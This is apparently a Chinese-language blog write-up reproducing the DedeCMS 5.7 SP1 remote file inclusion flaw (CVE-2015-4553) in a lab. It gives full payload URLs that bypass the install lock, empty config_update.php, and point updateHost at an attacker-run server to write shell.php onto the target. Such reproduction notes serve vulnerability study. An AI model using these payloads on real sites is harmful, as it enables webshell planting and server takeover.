1. 程式人生 > >DedeCMS 5.7 sp1遠端檔案包含漏洞(CVE-2015-4553)

DedeCMS 5.7 sp1遠端檔案包含漏洞(CVE-2015-4553)

DedeCMS 5.7 sp1遠端檔案包含漏洞(CVE-2015-4553)

一、漏洞描述

該漏洞在/install/index.php(index.php.bak)檔案中,漏洞起因是$$符號使用不當,導致變數覆蓋,以至於最後引起遠端檔案包含漏洞。

二、漏洞影響版本

DeDeCMS < 5.7-sp1,包括5.7 sp1版本

三、漏洞環境搭建

1、下載DeDeCMS V5.7 SP1,然後放到phpstudy環境下的www目錄下,然後瀏覽器訪http://192.168.10.171/dedecms/uploads/install/index.php

  

2、點選我已閱讀並繼續。然後是環境檢測,儲存預設即可

  

3、接下來是引數配置,需要設定的只有資料庫密碼,把自己的密碼填上去就行了

  

4、然後就把環境搭好了

  

四、漏洞復現

1、檢視/install/index.php原始碼,發現存在變數覆蓋漏洞,該程式碼的意思是將get,post或者cookie方式傳入的值通過foreach以鍵值對的方式輸出,例如在url中輸入?str=hello,則$_k的值就是str,$_v的值就是hello,所以${$_k}就是$str, 後面的RunMagicQuotes函式在另一個檔案中定義的,大致就是對引數進行過濾然後返回引數內容。

  

  

2、嘗試通過變數覆蓋重灌網站,瀏覽器訪問

  

3、變數覆蓋後,直接進入安裝介面,但是由於安裝鎖的存在不能繼續重新安裝,除非刪除安裝鎖http://192.168.10.171/dedecms/uploads/install/index.php?insLockfile=1

  

4、只有變數覆蓋暫時還不夠,繼續瀏覽程式碼,發現最後幾行程式碼

  

4.1、這段程式碼首先包含了/data/admin/config_update.php檔案, 這裡定義了變數updateHost

檔案內容如下: 

  

4.2、繼續看373-387行程式碼,$updateHost與dedecms/demodata.{$a_lang}.txt拼接為字串,並利用files_get_contents函式讀取demodata.{$s_lang}.txt檔案內容,最後將該檔案內容寫入到$install_demo_name引數中。

4.3、因此我們可以結合上面的變數覆蓋漏洞來進行遠端檔案包含,直接寫webshell。

5、由於$updateHost變數是引入進來的,所以不能直接進行覆蓋,需要先將config_update.php檔案清空再包含。

5.1、這時候可以利用fopen函式來實現,可以看到fopen中的引數是w,會直接重寫檔案,而file_get_contents讀取檔案失敗會返回NULL

  

5.2、然後利用fwrite函式,這裡可以利用變數覆蓋,將$s_lang隨意取名成不存在的檔名, $install_demo_name指向”../data/admin/config_update.php”,為了程式能夠執行到這裡,需要將$step設定為11,這樣就達到了清空config_update.php的目的。

構造payload: http://192.168.10.171/dedecms/uploads/install/index.php?step=11&s_lang=test&install_demo_name=…/data/admin/config_update.php

瀏覽器訪問,提示如下

  

5.3、檢視程式碼,發現這裡有一個判斷檔案是否存在(也就是判斷網站是否安裝)的條件,通過變數覆蓋漏洞將$insLockfile構造成任意不存在的檔案就可以繞過這個條件的限制

  

5.4、再次構造payload:

http://192.168.10.171/dedecms/uploads/install/index.php?step=11&s_lang=test&insLockfile=test&install_demo_name=../data/admin/config_update.php

  

5.5、此時可以看到config_update.php會發現已經變為0kb,空檔案

  

5.6、config_update.php檔案內容被清空之後,這時我們就可以控制updateHost引數了,這時我們就可以開始遠端檔案包含上傳我們想要上傳的檔案了

5.7、在kali上建立一個dedecms資料夾,然後建立一個demodata.gb2312.txt,寫入<?php phpinfo();?> ,然後開啟web服務

  

5.8、再次構造payload, install_demo_name改為要上傳的路徑,updateHost改為遠端目標機的IP

Payload如下:

http://192.168.10.171/dedecms/uploads/install/index.php?step=11&insLockfile=test&install_demo_name=../shell.php&updateHost=http://192.168.10.140/

瀏覽器訪問,出現介面說明寫入成功

  

5.9、檢視是否上傳成功,確定上傳成功

  

6、瀏覽器訪問上傳的shell.php

  

 

 

 

 

-------------------------------------------------------------------------------------------

參考: https://www.cnblogs.com/s1ye/p/9108780.